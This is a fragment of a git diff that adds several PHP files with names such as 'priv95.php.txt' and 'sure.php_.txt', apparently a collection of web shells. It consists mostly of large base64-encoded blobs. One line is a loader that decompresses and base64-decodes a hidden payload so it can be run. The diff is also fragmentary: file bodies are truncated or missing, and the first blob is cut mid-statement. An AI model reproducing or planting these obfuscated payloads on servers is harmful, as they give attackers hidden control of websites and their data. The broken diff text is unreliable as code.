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"))); ?> \ No newline at end of file diff --git a/php/priv95.php.txt b/php/priv95.php.txt new file mode 100644 index 0000000..df14c18 --- /dev/null +++ b/php/priv95.php.txt @@ -0,0 +1,17 @@ +".gzuncompress(base64_decode($lktd))); +?> \ No newline at end of file diff --git a/php/s.php.txt b/php/s.php.txt new file mode 100644 index 0000000..ad9be90 --- /dev/null +++ b/php/s.php.txt @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/php/sure.php_.txt b/php/sure.php_.txt new file mode 100644 index 0000000..7fb319f --- /dev/null +++ b/php/sure.php_.txt @@ -0,0 +1,3 @@ + +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